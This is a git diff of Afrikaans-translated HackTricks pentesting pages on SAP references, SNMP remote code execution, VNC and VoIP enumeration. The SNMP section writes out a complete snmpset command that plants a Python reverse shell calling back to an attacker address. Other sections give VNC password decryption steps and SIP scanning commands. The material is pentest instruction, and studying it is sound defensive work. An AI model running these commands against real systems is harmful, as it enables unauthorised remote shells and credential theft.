* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap om SAP/ERP te ontdek
## Verwysings
* [SAP Penetratietoetsing met Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 'n skrip om Bizploit semi-outomaties te maak
* [SAP NetWeaver ABAP-sekuriteitskonfigurasie deel 3: Standaard wagwoorde vir toegang tot die aansoek](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 'n Skrip om Bizploit semi-outomaties te maak
* [SAP NetWeaver ABAP-sekuriteitskonfigurasie deel 3: Standaardwagwoorde vir toegang tot die toepassing](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Lys van ABAP-transaksiekodes wat verband hou met SAP-sekuriteit](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Breek SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Top 10 mees interessante SAP-kwesbaarhede en aanvalle](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Top 10 mees interessante SAP-kwesbaarhede en -aanvalle](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Evalueer die sekuriteit van SAP-ekosisteme met bizploit: Ontdekking](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
@ -311,16 +312,17 @@ bizploit> start
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,55 +1,56 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy verstekkonfigurasie op die toestel of bediener oorsien. Deur **SNMP-gemeenskap met skryfregte (rwcommunity)** op 'n Linux-bedryfstelsel te **misbruik**, kan die aanvaller opdragte op die bediener uitvoer.
SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonfigurasie op die toestel of bediener oor die hoof sien. Deur **SNMP-gemeenskap met skrywe toestemmings (rwcommunity)** op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.
## Uitbreiding van Dienste met Ekstra Opdragte
## Uitbreiding van Dienste met Bykomende Opdragte
Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe **rye by die "nsExtendObjects" tabel** te voeg. Dit kan bereik word deur die `snmpset`-opdrag te gebruik en die nodige parameters te voorsien, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:
Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe **rye aan die "nsExtendObjects" tabel** toe te voeg. Dit kan bereik word deur die `snmpset` opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Inspruiting Opdragte vir Uitvoering
## Injecting Commands for Execution
Inspruiting van opdragte vir uitvoering op die SNMP-diens vereis die bestaan en uitvoerbaarheid van die opgeroepde binêre / skripsie. Die **`NET-SNMP-EXTEND-MIB`** vereis die verskaffing van die absolute pad na die uitvoerbare lêer.
Die invoeging van opdragte om op die SNMP-diens uit te voer, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/script. Die **`NET-SNMP-EXTEND-MIB`** vereis die verskaffing van die absolute pad na die uitvoerbare.
Om die uitvoering van die ingespruite opdrag te bevestig, kan die `snmpwalk`-opdrag gebruik word om die SNMP-diens op te som. Die **uitset sal die opdrag en die verbandhoudende besonderhede** insluit, insluitend die absolute pad:
Om die uitvoering van die ingevoegde opdrag te bevestig, kan die `snmpwalk` opdrag gebruik word om die SNMP-diens te enumerate. Die **uitset sal die opdrag en sy geassosieerde besonderhede vertoon**, insluitend die absolute pad:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Uitvoering van die Geïnjecteerde Opdragte
## Running the Injected Commands
Wanneer die **geïnjecteerde opdrag gelees word, word dit uitgevoer**. Hierdie gedrag staan bekend as **`run-on-read()`**. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.
Wanneer die **ingespotte opdrag gelees word, word dit uitgevoer**. Hierdie gedrag staan bekend as **`run-on-read()`**. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.
### Verkryging van Bediener Skulp met SNMP
### Gaining Server Shell with SNMP
Om beheer oor die bediener te verkry en 'n bediener skulp te verkry, kan 'n Python-skrips ontwikkel deur mxrch gebruik word vanaf [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Om beheer oor die bediener te verkry en 'n bediener shell te verkry, kan 'n python skrip wat deur mxrch ontwikkel is, gebruik word vanaf [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Alternatiewelik kan 'n omgekeerde skulp handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, geaktiveer deur die snmpwalk, vestig 'n omgekeerde skulpverbinding met die aanvaller se masjien, wat beheer oor die slagoffer masjien moontlik maak.
Jy kan die voorvereiste installeer om dit uit te voer:
Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell verbinding met die aanvaller se masjien in, wat beheer oor die slagoffer masjien moontlik maak.
You can install the pre-requisite to run this:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
Of 'n omgekeerde dop:
Of 'n omgekeerde skulp:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
@ -57,16 +58,17 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendSta
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,51 +1,52 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
## Basic Information
**Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaar-deelstelsel wat die **Remote Frame Buffer (RFB)**-protokol gebruik om afstandsbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naadloos interaksie hê met 'n afgeleë rekenaar deur toetsbord- en muisgebeurtenisse bidireksioneel te stuur. Dit maak regstreekse toegang moontlik en fasiliteer doeltreffende afstandsassistensie of samewerking oor 'n netwerk.
**Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaar-deelstelsel wat die **Remote Frame Buffer (RFB)** protokol gebruik om afstandbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naatloos met 'n afstandrekenaar interaksie hê deur sleutelbord- en muisgebeurtenisse bidireksioneel oor te dra. Dit stel in staat tot regte tyd toegang en fasiliteer doeltreffende afstandshelp of samewerking oor 'n netwerk.
VNC gebruik gewoonlik poorte **5800 of 5801 of 5900 of 5901.**
```
PORT STATE SERVICE
5900/tcp open vnc
```
## Opsomming
## Opname
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Maak 'n verbinding met vnc deur Kali
## Verbind met vnc met Kali
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
## Dekripteer VNC wagwoord
## Decrypting VNC password
Verstek **wagwoord is gestoor** in: \~/.vnc/passwd
Standaard **wagwoord is gestoor** in: \~/.vnc/passwd
As jy die VNC-wagwoord het en dit lyk versleutel ( 'n paar bytes, soosof dit 'n versleutelde wagwoord kan wees), is dit waarskynlik versleutel met 3des. Jy kan die duidelike teks wagwoord kry deur [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
As jy die VNC-wagwoord het en dit lyk versleuteld (n paar bytes, soos as dit 'n versleutelde wagwoord kan wees), is dit waarskynlik met 3des versleuteld. Jy kan die duidelike teks wagwoord kry met [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
Jy kan dit doen omdat die wagwoord wat binne 3des gebruik word om die plat-teks VNC-wagwoorde te enkripteer, jare gelede omgekeer is.\
Vir **Windows** kan jy ook hierdie instrument gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ek stoor die instrument hier ook vir maklike toegang:
You kan dit doen omdat die wagwoord wat binne 3des gebruik word om die plain-text VNC wagwoorde te enkripteer, jare gelede omgedraai is.\
Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ek stoor die hulpmiddel hier ook vir maklike toegang:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -53,16 +54,17 @@ Ek stoor die instrument hier ook vir maklike toegang:
* `port:5900 RFB`
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Pentesting VoIP
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## VoIP Basiese Inligting
Om te begin leer oor hoe VoIP werk, kyk na:
Om te begin leer oor hoe VoIP werk, kyk:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -41,9 +42,9 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
```
## Reaksie Kodes
## Response Codes
**1xx—Voorlopige Reaksies**
**1xx—Voorlopige Antwoorde**
```
100 Trying
180 Ringing
@ -52,13 +53,13 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
183 Session Progress
199 Early Dialog Terminated
```
**2xx—Suksesvolle Reaksies**
**2xx—Suksesvolle Antwoorde**
```
200 OK
202 Accepted
204 No Notification
```
**3xx—Aanwysingsreaksies**
**3xx—Herleidings Antwoorde**
```
300 Multiple Choices
301 Moved Permanently
@ -66,7 +67,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
305 Use Proxy
380 Alternative Service
```
**4xx—Kliënt Fout Responses**
**4xx—Kliënt Fout Antwoorde**
```
400 Bad Request
401 Unauthorized
@ -117,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
493 Undecipherable
494 Security Agreement Required
```
**5xx—Bedienersmislukkingsreaksies**
**5xx—Bediener Fout Antwoorde**
```
500 Internal Server Error
501 Not Implemented
@ -129,7 +130,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—Wêreldwye Mislukkingsreaksies**
**6xx—Globale Faal Antwoorde**
```
600 Busy Everywhere
603 Decline
@ -138,11 +139,11 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## VoIP Opsomming
## VoIP Enumerasie
### Telefoonnommers
Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy in kontak te tree deur OSINT-gereedskap, Google-soektogte of deur die webbladsye af te skuur.
Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur OSINT-gereedskap, Google-soektogte of deur webbladsye te scrape.
Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer:
@ -151,9 +152,9 @@ Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Om te weet of die operateur VoIP-dienste verskaf, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste ingeskakel het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan te sluit op die tradisionele telefoonnetwerk.
Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel.
Dinge soos geoutomatiseerde reaksies van musiek dui gewoonlik daarop dat VoIP gebruik word.
Dinge soos outomatiese musiekresponsies dui gewoonlik aan dat VoIP gebruik word.
### Google Dorks
```bash
@ -189,21 +190,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT inligting
Enige ander OSINT opname wat help om die VoIP-sagteware wat gebruik word te identifiseer, sal nuttig wees vir 'n Rooi Span.
Enige ander OSINT-opsomming wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team.
### Netwerkopname
### Netwerk Opsomming
* **`nmap`** is in staat om UDP-diens te skandeer, maar as gevolg van die hoeveelheid UDP-diens wat gescandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.
* **`nmap`** is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** van SIPVicious (`sudo apt install sipvicious`): Sal SIP-diens in die aangeduide netwerk opspoor.
* `svmap` is **maklik om te blokkeer** omdat dit die Gebruiker-Agent `friendly-scanner` gebruik, maar jy kan die kode vanaf `/usr/share/sipvicious/sipvicious` wysig en verander.
* **`svmap`** van SIPVicious (`sudo apt install sipvicious`): Sal SIP-dienste in die aangeduide netwerk lokaliseer.
* `svmap` is **maklik om te blokkeer** omdat dit die User-Agent `friendly-scanner` gebruik, maar jy kan die kode van `/usr/share/sipvicious/sipvicious` aanpas en dit verander.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS skandering`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skandering is 'n baie vinnige skander vir SIP-diens oor UDP, TCP of TLS. Dit maak gebruik van multigeit en kan groot reekse van netwerke skandeer. Dit maak dit moontlik om maklik 'n poortreeks aan te dui, beide TCP & UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander Gebruiker-Agent spesifiseer (en meer).
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit laat jou toe om maklik 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -215,80 +216,79 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] Used threads: 200
```
* **metasploit**:
Metasploit:
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Ekstra Netwerk Opsomming
#### Ekstra Netwerk Enumerasie
Die PBX kan ook ander netwerkdienste blootstel soos:
